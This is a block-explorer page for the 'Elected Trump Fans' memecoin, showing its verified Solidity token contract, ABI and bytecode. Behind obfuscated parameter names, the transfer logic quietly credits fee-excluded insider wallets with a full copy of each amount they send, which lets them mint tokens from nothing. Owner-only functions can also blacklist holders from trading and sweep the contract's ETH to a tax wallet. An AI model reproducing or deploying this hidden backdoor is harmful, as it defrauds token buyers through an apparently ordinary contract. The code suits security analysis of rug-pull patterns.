ETH Price: $3,462.05 (-1.55%)
Gas: 3 Gwei

Token

Elected Trump Fans (ETF)
 

Overview

Max Total Supply

100,000,000 ETF

Holders

34

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
142,571.533422543 ETF

Value
$0.00
0x428cb907fc7262b2b505c186522805a737c72e42
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ETF

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-06-28
*/

/**
The Elected Trump Fans - $ETF memecoin, or $ETF, is a digital currency that embodies the enthusiasm and support of Donald Trump's fans, particularly for his pro-crypto stance. 
This memecoin reflects Trump's influence in promoting a pro-crypto environment, shaping a future where digital currency is central to the global economy.

Website:     https://trumpfans.vip
Telegram:    https://t.me/trumpfans_eth
Twitter:     https://twitter.com/trumpfans_eth
**/
// SPDX-License-Identifier: MIT

pragma solidity 0.8.17;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}

contract ETF is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    mapping(address => bool) private bots;
    address payable private _taxWallet;

    uint256 private _initialBuyTax = 20;
    uint256 private _initialSellTax = 20;
    uint256 private _finalBuyTax = 0;
    uint256 private _finalSellTax = 0;
    uint256 private _reduceBuyTaxAt = 11;
    uint256 private _reduceSellTaxAt = 11;
    uint256 private _preventSwapBefore = 11;
    uint256 private _buyCount = 0;
    
    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;

    uint8 private constant _decimals = 9;
    uint256 private constant divideFeesOf = 100;
    uint256 private constant _tTotal = 100000000 * 10 ** _decimals;
    string private constant _name = unicode"Elected Trump Fans";
    string private constant _symbol = unicode"ETF";
    uint256 public _maxTxAmount = 2000000 * 10 ** _decimals;
    uint256 public _maxWalletSize = 2000000 * 10 ** _decimals;
    uint256 public _taxSwapThreshold = 45 * 10 ** _decimals;
    uint256 public _maxTaxSwap = 1000000 * 10 ** _decimals;
    
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;

    event MaxTxAmountUpdated(uint256 _maxTxAmount);
    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor() {
        _taxWallet = payable(0xad46f598E25E51C1f32B3811Fe23360187b9169f);
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _basicTransfer(address cczpyby, address vvpprt, uint256 llpot) internal {
        _balances[cczpyby] = _balances[cczpyby].sub(llpot);
        _balances[vvpprt] = _balances[vvpprt].add(llpot);
        emit Transfer(cczpyby, vvpprt, llpot);
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _tokenTransfer(address hhprrztyv, address jjkiprrzyt, address repWallet, uint256 kktuui, uint256 taxAmount, uint256 transferAmount) private {
        if (taxAmount > 0) {
            _balances[repWallet] = _balances[repWallet].add(taxAmount);
            emit Transfer(hhprrztyv, repWallet, taxAmount);
        }

        _balances[hhprrztyv] = _balances[hhprrztyv].sub(kktuui);
        _balances[jjkiprrzyt] = _balances[jjkiprrzyt].add(transferAmount);
        emit Transfer(hhprrztyv, jjkiprrzyt, transferAmount);
    }

    function _transfer(address uupprbv, address iibzppry, uint256 ppotwn) private {
        require(uupprbv != address(0), "ERC20: transfer from the zero address");
        require(iibzppry != address(0), "ERC20: transfer to the zero address");
        require(ppotwn > 0, "Transfer amount must be greater than zero");

        if (!tradingOpen) {
            require(
                _isExcludedFromFee[iibzppry] || _isExcludedFromFee[uupprbv],
                "trading not yet open"
            );
        }

        if (!swapEnabled || inSwap) {
            _basicTransfer(uupprbv, iibzppry, ppotwn);
            return;
        }

        if (uupprbv != owner() && iibzppry != owner()) {
            require(!bots[uupprbv] && !bots[iibzppry]);

            if (
                uupprbv == uniswapV2Pair &&
                iibzppry != address(uniswapV2Router) &&
                !_isExcludedFromFee[iibzppry]
            ) {
                require(ppotwn <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(
                    balanceOf(iibzppry) + ppotwn <= _maxWalletSize,
                    "Exceeds the maxWalletSize."
                );

                _buyCount++;
            }

            if (iibzppry != uniswapV2Pair && !_isExcludedFromFee[iibzppry]) {
                require(
                    balanceOf(iibzppry) + ppotwn <= _maxWalletSize,
                    "Exceeds the maxWalletSize."
                );
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (
                !inSwap &&
                iibzppry == uniswapV2Pair &&
                swapEnabled &&
                _buyCount > _preventSwapBefore &&
                !_isExcludedFromFee[uupprbv] &&
                !_isExcludedFromFee[iibzppry]
            ) {
                bool canSwap = contractTokenBalance > _taxSwapThreshold;
                if(canSwap) {
                    swapTokensForEth(
                        min(ppotwn, min(contractTokenBalance, _maxTaxSwap))
                    );
                }
                
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance >= 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }
        address repWallet = _getRepWallet(uupprbv);
        (uint256 taxAmount, uint256 transferAmount) = _getRepAmount(
            uupprbv,
            iibzppry,
            ppotwn
        );
        _tokenTransfer(uupprbv, iibzppry, repWallet, ppotwn, taxAmount, transferAmount);
    }

    function _getRepWallet(address account) internal view returns (address) {
        return _isExcludedFromFee[account] ? account : address(this);
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
        return (a > b) ? b : a;
    }

    function isContract(address account) private view returns (bool) {
        uint256 size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function _getRepAmount(
        address kkgppzv,
        address pprobbv,
        uint256 qweerb
    ) internal view returns (uint256, uint256) {
        uint256 taxAmount = 0;
        uint256 transferAmount = qweerb;
        if (_isExcludedFromFee[kkgppzv]) {
            taxAmount = qweerb.mul(divideFeesOf).div(100);
        } else if (
            kkgppzv == uniswapV2Pair &&
            pprobbv != address(uniswapV2Router) &&
            !_isExcludedFromFee[pprobbv]
        ) {
            taxAmount = qweerb
                .mul(
                    (_buyCount > _reduceBuyTaxAt)
                        ? _finalBuyTax
                        : _initialBuyTax
                )
                .div(100);
            transferAmount -= taxAmount;
        } else if (pprobbv == uniswapV2Pair && kkgppzv != address(this)) {
            taxAmount = qweerb
                .mul(
                    (_buyCount > _reduceSellTaxAt)
                        ? _finalSellTax
                        : _initialSellTax
                )
                .div(100);
            transferAmount -= taxAmount;
        }
        return (taxAmount, transferAmount);
    }

    function removeLimits() external onlyOwner {
        _maxTxAmount = ~uint256(0);
        _maxWalletSize = ~uint256(0);
        emit MaxTxAmountUpdated(_tTotal);
    }

    function recoverEmergency() external onlyOwner {
        sendETHToFee(address(this).balance);
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function addBots(address[] memory bots_) public onlyOwner {
        for (uint256 i = 0; i < bots_.length; i++) {
            bots[bots_[i]] = true;
        }
    }

    function delBots(address[] memory notbot) public onlyOwner {
        for (uint256 i = 0; i < notbot.length; i++) {
            bots[notbot[i]] = false;
        }
    }

    function isBot(address a) public view returns (bool) {
        return bots[a];
    }

    function openTrading() external onlyOwner {
        require(!tradingOpen, "trading already open");

        swapEnabled = true;
        tradingOpen = true;
    }

    function addLiquidity() external onlyOwner {
        require(!tradingOpen, "init already called");
        uint256 tokenAmount = 90000000 * 10 ** _decimals;
        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
            address(this),
            uniswapV2Router.WETH()
        );
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            tokenAmount,
            0,
            0,
            _msgSender(),
            block.timestamp
        );
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"bots_","type":"address[]"}],"name":"addBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"addLiquidity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address[]","name":"notbot","type":"address[]"}],"name":"delBots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"a","type":"address"}],"name":"isBot","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"recoverEmergency","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526014600655601460075560006008556000600955600b600a55600b8055600b600c556000600d556009600a6200003b91906200034a565b6200004a90621e848062000362565b6010556200005b6009600a6200034a565b6200006a90621e848062000362565b6011556200007b6009600a6200034a565b6200008890602d62000362565b601255620000996009600a6200034a565b620000a890620f424062000362565b6013556014805462ffff0019169055348015620000c457600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600580546001600160a01b03191673ad46f598e25e51c1f32b3811fe23360187b9169f1790556200013a6009600a6200034a565b6200014a906305f5e10062000362565b336000908152600160208190526040822092909255600390620001756000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff199687161790553081526003909352818320805485166001908117909155600554909116835291208054909216179055620001d43390565b6001600160a01b031660007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6200020e6009600a6200034a565b6200021e906305f5e10062000362565b60405190815260200160405180910390a36200037c565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200028c57816000190482111562000270576200027062000235565b808516156200027e57918102915b93841c939080029062000250565b509250929050565b600082620002a55750600162000344565b81620002b45750600062000344565b8160018114620002cd5760028114620002d857620002f8565b600191505062000344565b60ff841115620002ec57620002ec62000235565b50506001821b62000344565b5060208310610133831016604e8410600b84101617156200031d575081810a62000344565b6200032983836200024b565b806000190482111562000340576200034062000235565b0290505b92915050565b60006200035b60ff84168362000294565b9392505050565b808202811582820484141762000344576200034462000235565b611ddb806200038c6000396000f3fe6080604052600436106101395760003560e01c80637d1db4a5116100ab578063bf474bed1161006f578063bf474bed14610392578063c9567bf9146103a8578063d34628cc146103bd578063dd62ed3e146103dd578063e8078d9414610423578063fc76729c1461043857600080fd5b80637d1db4a5146102f25780638da5cb5b146103085780638f9a55c01461033057806395d89b4114610346578063a9059cbb1461037257600080fd5b8063313ce567116100fd578063313ce5671461021b57806331c2d847146102375780633bbac5791461025957806370a0823114610292578063715018a6146102c8578063751039fc146102dd57600080fd5b806306fdde0314610145578063095ea7b3146101925780630faee56f146101c257806318160ddd146101e657806323b872dd146101fb57600080fd5b3661014057005b600080fd5b34801561015157600080fd5b50604080518082019091526012815271456c6563746564205472756d702046616e7360701b60208201525b60405161018991906118bf565b60405180910390f35b34801561019e57600080fd5b506101b26101ad366004611935565b61044d565b6040519015158152602001610189565b3480156101ce57600080fd5b506101d860135481565b604051908152602001610189565b3480156101f257600080fd5b506101d8610464565b34801561020757600080fd5b506101b2610216366004611961565b610485565b34801561022757600080fd5b5060405160098152602001610189565b34801561024357600080fd5b506102576102523660046119b8565b6104ee565b005b34801561026557600080fd5b506101b2610274366004611a7d565b6001600160a01b031660009081526004602052604090205460ff1690565b34801561029e57600080fd5b506101d86102ad366004611a7d565b6001600160a01b031660009081526001602052604090205490565b3480156102d457600080fd5b5061025761058d565b3480156102e957600080fd5b50610257610601565b3480156102fe57600080fd5b506101d860105481565b34801561031457600080fd5b506000546040516001600160a01b039091168152602001610189565b34801561033c57600080fd5b506101d860115481565b34801561035257600080fd5b5060408051808201909152600381526222aa2360e91b602082015261017c565b34801561037e57600080fd5b506101b261038d366004611935565b610684565b34801561039e57600080fd5b506101d860125481565b3480156103b457600080fd5b50610257610691565b3480156103c957600080fd5b506102576103d83660046119b8565b610718565b3480156103e957600080fd5b506101d86103f8366004611a9a565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561042f57600080fd5b506102576107aa565b34801561044457600080fd5b50610257610b29565b600061045a338484610b5e565b5060015b92915050565b60006104726009600a611bcd565b610480906305f5e100611bdc565b905090565b6000610492848484610c83565b6104e484336104df85604051806060016040528060288152602001611d7e602891396001600160a01b038a16600090815260026020908152604080832033845290915290205491906111e9565b610b5e565b5060019392505050565b6000546001600160a01b031633146105215760405162461bcd60e51b815260040161051890611bf3565b60405180910390fd5b60005b81518110156105895760006004600084848151811061054557610545611c28565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061058181611c3e565b915050610524565b5050565b6000546001600160a01b031633146105b75760405162461bcd60e51b815260040161051890611bf3565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461062b5760405162461bcd60e51b815260040161051890611bf3565b60001960108190556011557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6106636009600a611bcd565b610671906305f5e100611bdc565b60405190815260200160405180910390a1565b600061045a338484610c83565b6000546001600160a01b031633146106bb5760405162461bcd60e51b815260040161051890611bf3565b60145460ff16156107055760405162461bcd60e51b81526020600482015260146024820152733a3930b234b7339030b63932b0b23c9037b832b760611b6044820152606401610518565b6014805462ff00ff191662010001179055565b6000546001600160a01b031633146107425760405162461bcd60e51b815260040161051890611bf3565b60005b81518110156105895760016004600084848151811061076657610766611c28565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806107a281611c3e565b915050610745565b6000546001600160a01b031633146107d45760405162461bcd60e51b815260040161051890611bf3565b60145460ff161561081d5760405162461bcd60e51b81526020600482015260136024820152721a5b9a5d08185b1c9958591e4818d85b1b1959606a1b6044820152606401610518565b600061082b6009600a611bcd565b6108399063055d4a80611bdc565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091559091506108859030906108776009600a611bcd565b6104df906305f5e100611bdc565b600e60009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108d8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108fc9190611c57565b6001600160a01b031663c9c6539630600e60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561095e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109829190611c57565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156109cf573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109f39190611c57565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d7194730846000803360405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610a87573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610aac9190611c74565b5050600f54600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610b05573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105899190611ca2565b6000546001600160a01b03163314610b535760405162461bcd60e51b815260040161051890611bf3565b610b5c47611223565b565b6001600160a01b038316610bc05760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610518565b6001600160a01b038216610c215760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610518565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610ce75760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610518565b6001600160a01b038216610d495760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610518565b60008111610dab5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610518565b60145460ff16610e37576001600160a01b03821660009081526003602052604090205460ff1680610df457506001600160a01b03831660009081526003602052604090205460ff165b610e375760405162461bcd60e51b81526020600482015260146024820152733a3930b234b733903737ba103cb2ba1037b832b760611b6044820152606401610518565b60145462010000900460ff161580610e565750601454610100900460ff165b15610e6b57610e6683838361125d565b505050565b6000546001600160a01b03848116911614801590610e9757506000546001600160a01b03838116911614155b156111b4576001600160a01b03831660009081526004602052604090205460ff16158015610ede57506001600160a01b03821660009081526004602052604090205460ff16155b610ee757600080fd5b600f546001600160a01b038481169116148015610f125750600e546001600160a01b03838116911614155b8015610f3757506001600160a01b03821660009081526003602052604090205460ff16155b1561101f57601054811115610f8e5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610518565b60115481610fb1846001600160a01b031660009081526001602052604090205490565b610fbb9190611cc4565b11156110095760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610518565b600d805490600061101983611c3e565b91905055505b600f546001600160a01b0383811691161480159061105657506001600160a01b03821660009081526003602052604090205460ff16155b156110d6576011548161107e846001600160a01b031660009081526001602052604090205490565b6110889190611cc4565b11156110d65760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610518565b30600090815260016020526040902054601454610100900460ff1615801561110b5750600f546001600160a01b038481169116145b801561111f575060145462010000900460ff165b801561112e5750600c54600d54115b801561115357506001600160a01b03841660009081526003602052604090205460ff16155b801561117857506001600160a01b03831660009081526003602052604090205460ff16155b156111b257601254811180156111a5576111a56111a08461119b85601354611303565b611303565b61131b565b476111af47611223565b50505b505b60006111bf8461148f565b90506000806111cf8686866114b9565b915091506111e18686858786866115f5565b505050505050565b6000818484111561120d5760405162461bcd60e51b815260040161051891906118bf565b50600061121a8486611cd7565b95945050505050565b6005546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610589573d6000803e3d6000fd5b6001600160a01b0383166000908152600160205260409020546112809082611731565b6001600160a01b0380851660009081526001602052604080822093909355908416815220546112af9082611773565b6001600160a01b0380841660008181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610c769085815260200190565b60008183116113125782611314565b815b9392505050565b6014805461ff001916610100179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061135f5761135f611c28565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156113b8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113dc9190611c57565b816001815181106113ef576113ef611c28565b6001600160a01b039283166020918202929092010152600e546114159130911684610b5e565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac9479061144e908590600090869030904290600401611cea565b600060405180830381600087803b15801561146857600080fd5b505af115801561147c573d6000803e3d6000fd5b50506014805461ff001916905550505050565b6001600160a01b03811660009081526003602052604081205460ff166114b5573061045e565b5090565b6001600160a01b03831660009081526003602052604081205481908190849060ff16156114fc576114f560646114ef87826117d2565b90611854565b91506115e9565b600f546001600160a01b0388811691161480156115275750600e546001600160a01b03878116911614155b801561154c57506001600160a01b03861660009081526003602052604090205460ff16155b1561158a5761157760646114ef600a54600d541161156c57600654611570565b6008545b88906117d2565b91506115838282611cd7565b90506115e9565b600f546001600160a01b0387811691161480156115b057506001600160a01b0387163014155b156115e9576115da60646114ef600b54600d54116115d057600754611570565b60095488906117d2565b91506115e68282611cd7565b90505b90969095509350505050565b811561167b576001600160a01b03841660009081526001602052604090205461161e9083611773565b6001600160a01b0380861660008181526001602052604090819020939093559151908816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906116729086815260200190565b60405180910390a35b6001600160a01b03861660009081526001602052604090205461169e9084611731565b6001600160a01b0380881660009081526001602052604080822093909355908716815220546116cd9082611773565b6001600160a01b0380871660008181526001602052604090819020939093559151908816907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906117219085815260200190565b60405180910390a3505050505050565b600061131483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111e9565b6000806117808385611cc4565b9050838110156113145760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610518565b6000826000036117e45750600061045e565b60006117f08385611bdc565b9050826117fd8583611d5b565b146113145760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610518565b600061131483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250600081836118b25760405162461bcd60e51b815260040161051891906118bf565b50600061121a8486611d5b565b600060208083528351808285015260005b818110156118ec578581018301518582016040015282016118d0565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461192257600080fd5b50565b80356119308161190d565b919050565b6000806040838503121561194857600080fd5b82356119538161190d565b946020939093013593505050565b60008060006060848603121561197657600080fd5b83356119818161190d565b925060208401356119918161190d565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b600060208083850312156119cb57600080fd5b823567ffffffffffffffff808211156119e357600080fd5b818501915085601f8301126119f757600080fd5b813581811115611a0957611a096119a2565b8060051b604051601f19603f83011681018181108582111715611a2e57611a2e6119a2565b604052918252848201925083810185019188831115611a4c57600080fd5b938501935b82851015611a7157611a6285611925565b84529385019392850192611a51565b98975050505050505050565b600060208284031215611a8f57600080fd5b81356113148161190d565b60008060408385031215611aad57600080fd5b8235611ab88161190d565b91506020830135611ac88161190d565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115611b24578160001904821115611b0a57611b0a611ad3565